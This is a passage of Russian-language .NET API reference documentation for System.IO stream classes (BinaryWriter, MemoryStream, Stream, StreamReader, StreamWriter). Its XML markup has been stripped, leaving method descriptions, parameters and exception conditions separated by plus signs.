буфере , с которой начинается запись. + Количество записываемых байтов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись символа Юникод в текущий поток и перемещает текущую позицию в потоке вперед в соответствии с используемой Encoding и количеством записанных в поток символов. + Незаменяющий символ Юникода, который необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + + представляет собой единичный символ-заместитель. + 1 + + + Выполняет запись массива символов в текущий поток и перемещает текущую позицию в потоке в соответствии с используемой Encoding и количеством записанных в поток символов. + Массив символов, содержащий записываемые в поток данные. + Параметр имеет значение null. + Поток закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись части массива символов в текущий поток и изменяет текущую позицию в потоке в соответствии с используемой Encoding и, возможно, количеством символов, записанных в поток. + Массив символов, содержащий записываемые в поток данные. + Стартовая точка в буфере , с которой начинается запись. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает десятичное число в текущий поток и перемещает позицию в потоке на шестнадцать байтов. + Десятичное значение, которое необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Число с плавающей запятой длиной 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число со знаком размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число со знаком размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число со знаком размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает байт со знаком в текущий поток и перемещает позицию в потоке вперед на один байт. + Байт со знаком, который необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Число с плавающей запятой длиной 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает в текущий поток строку, предваряемую ее длиной, используя текущую кодировку , и перемещает позицию в потоке вперед в соответствии с используемой кодировкой и количеством записанных в поток символов. + Записываемое значение. + Ошибка ввода-вывода. + Параметр имеет значение null. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число без знака размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число без знака размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число без знака размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число, которое необходимо записать. + Достигнут конец потока. + Поток закрыт. + Поток закрыт. + + + Исключение, которое создается при попытке выполнить чтение за пределами потока. + 2 + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке системного сообщения, и значением HRESULT равным COR_E_ENDOFSTREAM. + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке , и значением HRESULT равным COR_E_ENDOFSTREAM. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + + + Выполняет инициализацию нового экземпляра класса с указанным сообщением об ошибке и ссылкой на внутреннее исключение, которое стало причиной данного исключения. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Исключение возникает, когда поток данных имеет недопустимый формат. + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным сообщением об ошибке. + Сообщение об ошибке с объяснением причин исключения. + + + Инициализирует новый экземпляр класса со ссылкой на внутреннее исключение, которое является причиной данного исключения. + Сообщение об ошибке с объяснением причин исключения. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Создает поток, резервным хранилищем которого является память.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной нулевым значением. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов. + Массив байтов без знака, из которого создается текущий поток. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области (индекса) массива байтов. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Свойство имеет значение null. + Значение параметра или меньше нуля. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + Параметр или имеет отрицательное значение. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства и возможности вызова с указанным значением. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Значение true, чтобы разрешить метод , возвращающий массив байтов без знака, из которого создан поток; в противном случае — значение false. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной с указанным значением. + Исходный размер внутреннего массива в байтах. + Значение отрицательно. + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций чтения. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций поиска. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 2 + + + Возвращает или задает число байтов, выделенных для этого потока. + Длина применимой к использованию части буфера для потока. + Заданная емкость отрицательная или меньше текущей длины потока. + Текущий поток закрыт. + set вызывается для потока, емкость которого нельзя изменить. + 2 + + + Асинхронно считывает все байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля. + Токен для отслеживания запросов отмены. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Переопределяет метод так, что никакие действия не выполняются. + 2 + + + Асинхронно очищает все буферы для этого потока и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены. + Поток был ликвидирован. + + + Возвращает длину потока в байтах. + Длина потока в байтах. + Поток закрыт. + 2 + + + Возвращает или задает текущее положение в потоке. + Текущее положение в потоке. + В качестве положения задано отрицательное значение или значение, большее . + Поток закрыт. + 2 + + + Считывает блок байтов из текущего потока и записывает данные в буфер. + Общее число байтов, записанных в буфер.Оно может быть меньше запрошенного числа байтов, если это количество в текущий момент не доступно, или же равно нулю, если конец потока достигнут до того, как байты были считаны. + При возвращении данного метода этот параметр содержит указанный массив байтов со значениями от до ( + - 1), замененными символами, считанными из текущего потока. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается сохранение данных из текущего потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом меньше, чем . + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из текущего потока. + Байт приводится к типу или -1, если достигнут конец потока. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для положения в текущем потоке. + Новое положение в потоке, вычисляемое путем объединения смещения и исходной точки ссылки. + Новое положение в потоке.Оно определяется относительно параметра и может быть положительным или отрицательным. + Значение типа , которое действует как точка ссылки поиска. + Попытка поиска выполняется до начала потока. + Значение больше значения . + + недопустим. -или-Значение вызвало арифметическое переполнение. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для длины текущего потока. + Значение задаваемой длины. + Размер текущего потока изменить нельзя, и значение параметра больше текущей емкости.-или- Текущий поток не поддерживает запись. + Значение параметра отрицательное или больше максимальной длины , где максимальная длина равна ( - источник). Источник — это индекс в основном буфере, с которого начинается поток. + 2 + + + Записывает содержимое потока в массив байтов независимо от свойства . + Новый массив байтов. + 2 + + + Возвращает массив байтов без знака, из которого был создан данный поток.Возвращаемое значение указывает, успешно ли выполнено преобразование. + Значение true, если преобразование прошло успешно; в противном случае — значение false. + Сегмент массива байтов, из которого был создан данный поток. + + + Записывает в текущий поток блок байтов, используя данные, считанные из буфера. + Буфер, из которого записываются данные. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение ближе к концу потока, чем число байтов , и емкость изменить невозможно. + Длина буфера за вычетом меньше, чем . + Параметр или имеет отрицательное значение. + Ошибка ввода-вывода. + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение текущего потока. + Записываемый байт. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение находится в конце потока и емкость изменить невозможно. + Текущий поток закрыт. + 2 + + + Записывает все содержимое данного потока памяти в другой поток. + Поток, в который требуется осуществить запись данного потока памяти. + Свойство имеет значение null. + Текущий или конечный поток закрыт. + 2 + + + Задает позицию в потоке, используемую для поиска. + 2 + + + Задает начало потока. + + + Задает текущее положение в потоке. + + + Задает конец потока. + + + Предоставляет универсальное представление последовательности байтов.Этот класс является абстрактным.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса . + + + При переопределении в производном классе возвращает значение, показывающее, поддерживает ли текущий поток возможность чтения. + Значение true, если поток поддерживает чтение; в противном случае — значение false. + 1 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживается ли в текущем потоке возможность поиска. + Значение true, если поток поддерживает поиск; в противном случае — значение false. + 1 + + + Возвращает значение, которое показывает, может ли для данного потока истечь время ожидания. + Значение, которое показывает, может ли для данного потока истечь время ожидания. + 2 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживает ли текущий поток возможность записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 1 + + + Считывает байты из текущего потока и записывает их в другой поток. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Поток, в который будет скопировано содержимое текущего потока. + Размер буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает все ресурсы, занятые модулем . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе очищает все буферы данного потока и вызывает запись данных буферов в базовое устройство. + Ошибка ввода-вывода. + 2 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Асинхронно очищает все буферы данного потока, вызывает запись буферизованных данных в базовое устройство и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Поток был ликвидирован. + + + При переопределении в производном классе получает длину потока в байтах. + Длинное значение, представляющее длину потока в байтах. + Класс, созданный на основе класса Stream, не поддерживает возможность поиска. + Методы были вызваны после закрытия потока. + 1 + + + Объект Stream без резервного хранилища. + 1 + + + При переопределении в производном классе получает или задает позицию в текущем потоке. + Текущее положение в потоке. + Ошибка ввода-вывода. + Этот поток не поддерживает поиск. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе считывает последовательность байтов из текущего потока и перемещает позицию в потоке на число считанных байтов. + Общее количество байтов, считанных в буфер.Это число может быть меньше количества запрошенных байтов, если столько байтов в настоящее время недоступно, а также равняться нулю (0), если был достигнут конец потока. + Массив байтов.После завершения выполнения данного метода буфер содержит указанный массив байтов, в котором значения в интервале между и ( + - 1) заменены байтами, считанными из текущего источника. + Смещение байтов (начиная с нуля) в , с которого начинается сохранение данных, считанных из текущего потока. + Максимальное количество байтов, которое должно быть считано из текущего потока. + Сумма значений параметров и больше длины буфера. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 1 + + + Асинхронно считывает последовательность байтов из текущего потока и перемещает позицию внутри потока на число считанных байтов. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из потока и перемещает позицию в потоке на один байт или возвращает -1, если достигнут конец потока. + Байт без знака, приведенный к Int32, или значение -1, если достигнут конец потока. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + При переопределении в производном классе задает позицию в текущем потоке. + Новая позиция в текущем потоке. + Смещение в байтах относительно параметра . + Значение типа , указывающее точку ссылки, которая используется для получения новой позиции. + Ошибка ввода-вывода. + Поток не поддерживает поиск, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе задает длину текущего потока. + Нужная длина текущего потока в байтах. + Ошибка ввода-вывода. + Поток не поддерживает ни поиск, ни запись, например, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 2 + + + При переопределении в производном классе записывает последовательность байтов в текущий поток и перемещает текущую позицию в нем вперед на число записанных байтов. + Массив байтов.Этот метод копирует байты из в текущий поток. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Количество байтов, которое необходимо записать в текущий поток. + Сумма  и  больше, чем длина буфера. + + — null. + + или  является отрицательным. + Произошла ошибка ввода-вывода, такие как не удается найти указанный файл. + Поток не поддерживает запись. + + был вызван после закрытия потока. + 1 + + + Асинхронно записывает последовательность байтов в текущий поток и перемещает текущую позицию внутри потока на число записанных байтов. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение в потоке и перемещает позицию в потоке вперед на один байт. + Байт, записываемый в поток. + Ошибка ввода-вывода. + Поток не поддерживает запись или был закрыт до начала операции. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + Реализует объект , который считывает символы из потока байтов в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 1 + + + Инициализирует новый экземпляр класса для заданного потока. + Поток, который нужно считать. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданный параметр обнаружения метки порядка следования байтов. + Поток, который нужно считать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов и параметр обнаружения метки порядка байтов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов, параметр обнаружения метки порядка байтов и размер буфера. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + Минимальный размер буфера. + Поток не поддерживает чтение. + Параметр или имеет значение null. + Значение параметра меньше или равно нулю. + + + Инициализирует новый экземпляр класса для указанного потока на основе заданной кодировки символов, параметра обнаружения меток порядка байтов и размера буфера, а также при необходимости оставляет поток открытым. + Считываемый поток. + Кодировка символов, которую нужно использовать. + Значение true для поиска меток порядка байтов в начале файла; в противном случае — значение false. + Минимальный размер буфера. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + + + Возвращает основной поток. + Основной поток. + 2 + + + Возвращает текущую кодировку символов, используемую текущим объектом . + Текущая кодировка символов, используемая текущим устройством чтения.После первого вызова любого метода объекта значение может измениться, поскольку до первого вызова метода автоматическое определение кодировки не выполняется. + 2 + + + Очищает внутренний буфер. + 2 + + + Закрывает основной поток, освобождает неуправляемые ресурсы, используемые , и при необходимости освобождает управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Возвращает значение, определяющее, находится ли позиция текущего потока в конце потока. + Значение true, если текущее положение находится в конце потока; в противном случае — значение false. + Основной поток удален. + 1 + + + Объект для пустого потока. + 1 + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ для прочтения или значение -1, если доступных для чтения символов нет или поток не поддерживает поиск. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из входного потока и перемещает положение символа на одну позицию вперед. + Следующий символ из входного потока, представленный в виде объекта , или значение -1, если больше нет доступных символов. + Ошибка ввода-вывода. + 1 + + + Считывает заданное максимальное количество символов из текущего потока в буфер начиная с заданного индекса. + Число символов, которые были считаны, или значение 0, если к концу потока не было считано никаких данных.Это число будет не больше параметра , в зависимости от доступности данных в потоке. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Индекс , с которого требуется начать запись. + Максимальное число считываемых символов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Возникает ошибка ввода-вывода, например закрывается поток. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем указанное количество символов записывается в буфер, возвращается текущий метод. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению , в зависимости от того, считаны ли все входящие символы. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Произошла ошибка ввода-вывода. + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Следующая строка из входного потока или значение null, если достигнут конец входного потока. + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из потока или значение null, если все знаки прочитаны. + Количество символов в следующей строке больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца потока. + Остальная часть потока в виде строки (от текущего положения до конца).Если текущее положение находится в конце потока, возвращается пустая строка (""). + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца потока, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца потока. + Количество символов больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи символов в поток в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. ссылки на источник. + 1 + + + Инициализирует новый экземпляр класса для указанного потока, используя кодировку UTF-8 и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Запись в поток запрещена. + + is null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Значение параметра или — null. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера, а также при необходимости оставляет поток открытым. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Получает или задает значение, определяющее, будет ли сбрасывать буфер в основной поток после каждого вызова . + Значение true, чтобы заставить сбросить буфер; в противном случае — false. + 1 + + + Получает основной поток, связанный с резервным хранилищем. + Поток, в который StreamWriter выполняет запись. + 2 + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + trueЧтобы освободить управляемые и неуправляемые ресурсы; false чтобы освободить только неуправляемые ресурсы. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Кодировка , указанная в конструкторе для текущего экземпляра, или , если кодировка не задана. + 2 + + + Очищает все буферы для текущего средства записи и вызывает запись всех данных буфера в основной поток. + Текущее средство записи закрывается. + Произошла ошибка ввода-вывода. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + 1 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Предоставляет StreamWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает символ в поток. + Символ, записываемый в поток. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + 